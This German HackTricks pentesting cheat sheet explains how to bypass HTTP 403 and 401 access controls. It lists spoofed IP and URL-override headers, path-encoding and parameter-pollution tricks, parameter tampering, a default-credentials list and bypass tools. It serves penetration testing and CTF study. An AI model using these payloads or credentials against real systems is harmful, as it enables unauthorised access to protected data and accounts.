119 lines
6.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 403 & 401 Bypasses
{{#include ../../banners/hacktricks-training.md}}
## HTTP Verbs/Methods Fuzzing
Versuchen Sie, **verschiedene Verben** zu verwenden, um auf die Datei zuzugreifen: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen bereitgestellt werden. Zum Beispiel bedeutet eine **200-Antwort** auf **HEAD** mit `Content-Length: 55`, dass das **HEAD-Verb auf die Informationen zugreifen kann**. Aber Sie müssen immer noch einen Weg finden, diese Informationen zu exfiltrieren.
- Verwenden Sie einen HTTP-Header wie `X-HTTP-Method-Override: PUT`, um das verwendete Verb zu überschreiben.
- Verwenden Sie das **`TRACE`**-Verb und wenn Sie sehr viel Glück haben, können Sie in der Antwort auch die **von Zwischenproxies hinzugefügten Header** sehen, die nützlich sein könnten.
## HTTP Headers Fuzzing
- **Ändern Sie den Host-Header** auf einen beliebigen Wert ([das hat hier funktioniert](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Versuchen Sie, [**andere User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) zu verwenden, um auf die Ressource zuzugreifen.
- **Fuzz HTTP-Header**: Versuchen Sie, HTTP-Proxy-**Header**, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) erstellt.
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
- `X-Forwarded: 127.0.0.1`
- `Forwarded-For: 127.0.0.1`
- `X-Remote-IP: 127.0.0.1`
- `X-Remote-Addr: 127.0.0.1`
- `X-ProxyUser-Ip: 127.0.0.1`
- `X-Original-URL: 127.0.0.1`
- `Client-IP: 127.0.0.1`
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
Wenn der **Pfad geschützt ist**, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- Wenn die Seite **hinter einem Proxy** ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **oder** [**Hop-by-Hop-Header**](../../pentesting-web/abusing-hop-by-hop-headers.md)** auszunutzen.**
- Fuzz [**spezielle HTTP-Header**](special-http-headers.md) auf der Suche nach unterschiedlichen Antworten.
- **Fuzz spezielle HTTP-Header**, während Sie **HTTP-Methoden** fuzzing.
- **Entfernen Sie den Host-Header**, und vielleicht können Sie den Schutz umgehen.
## Path **Fuzzing**
Wenn _/path_ blockiert ist:
- Versuchen Sie, `/%2e/path` zu verwenden (wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch `/%252e**/path` (doppelte URL-Codierung)
- Versuchen Sie **Unicode-Bypass**: _/**%ef%bc%8f**path_ (Die URL-codierten Zeichen sind wie "/"), sodass es beim Zurückcodieren _//path_ sein wird und Sie möglicherweise bereits die _/path_-Namensüberprüfung umgangen haben.
- **Andere Pfad-Bypässe**:
- site.com/secret > HTTP 403 Forbidden
- site.com/SECRET > HTTP 200 OK
- site.com/secret/ > HTTP 200 OK
- site.com/secret/. > HTTP 200 OK
- site.com//secret// > HTTP 200 OK
- site.com/./secret/.. > HTTP 200 OK
- site.com/;/secret > HTTP 200 OK
- site.com/.;/secret > HTTP 200 OK
- site.com//;//secret > HTTP 200 OK
- site.com/secret.json > HTTP 200 OK (ruby)
- Verwenden Sie [**diese Liste**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in den folgenden Situationen:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- **Andere API-Bypässe:**
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthriozied
- {“id”:\[111]} --> 200 OK
- {“id”:111} --> 401 Unauthriozied
- {“id”:{“id”:111\}} --> 200 OK
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
## **Parameter Manipulation**
- Ändern Sie den **Parametervalue**: Von **`id=123` --> `id=124`**
- Fügen Sie zusätzliche Parameter zur URL hinzu: `?`**`id=124` —-> `id=124&isAdmin=true`**
- Entfernen Sie die Parameter
- Ändern Sie die Reihenfolge der Parameter
- Verwenden Sie Sonderzeichen.
- Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie _-234_ oder _0_ oder _99999999_ an (nur einige Beispielwerte).
## **Protokollversion**
Wenn Sie HTTP/1.1 verwenden, **versuchen Sie, 1.0** zu verwenden oder testen Sie, ob es **2.0 unterstützt**.
## **Andere Bypässe**
- Holen Sie sich die **IP** oder **CNAME** der Domain und versuchen Sie, **sie direkt zu kontaktieren**.
- Versuchen Sie, den **Server zu belasten**, indem Sie gängige GET-Anfragen senden ([Es hat für diesen Typen mit Facebook funktioniert](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Ändern Sie das Protokoll**: von http zu https oder von https zu http
- Gehen Sie zu [**https://archive.org/web/**](https://archive.org/web/) und überprüfen Sie, ob die Datei in der Vergangenheit **weltweit zugänglich** war.
## **Brute Force**
- **Raten Sie das Passwort**: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
- [**Brute Force**](../../generic-hacking/brute-force.md#http-brute)**:** Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.
```:Common creds
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
## Automatische Werkzeuge
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
{{#include ../../banners/hacktricks-training.md}}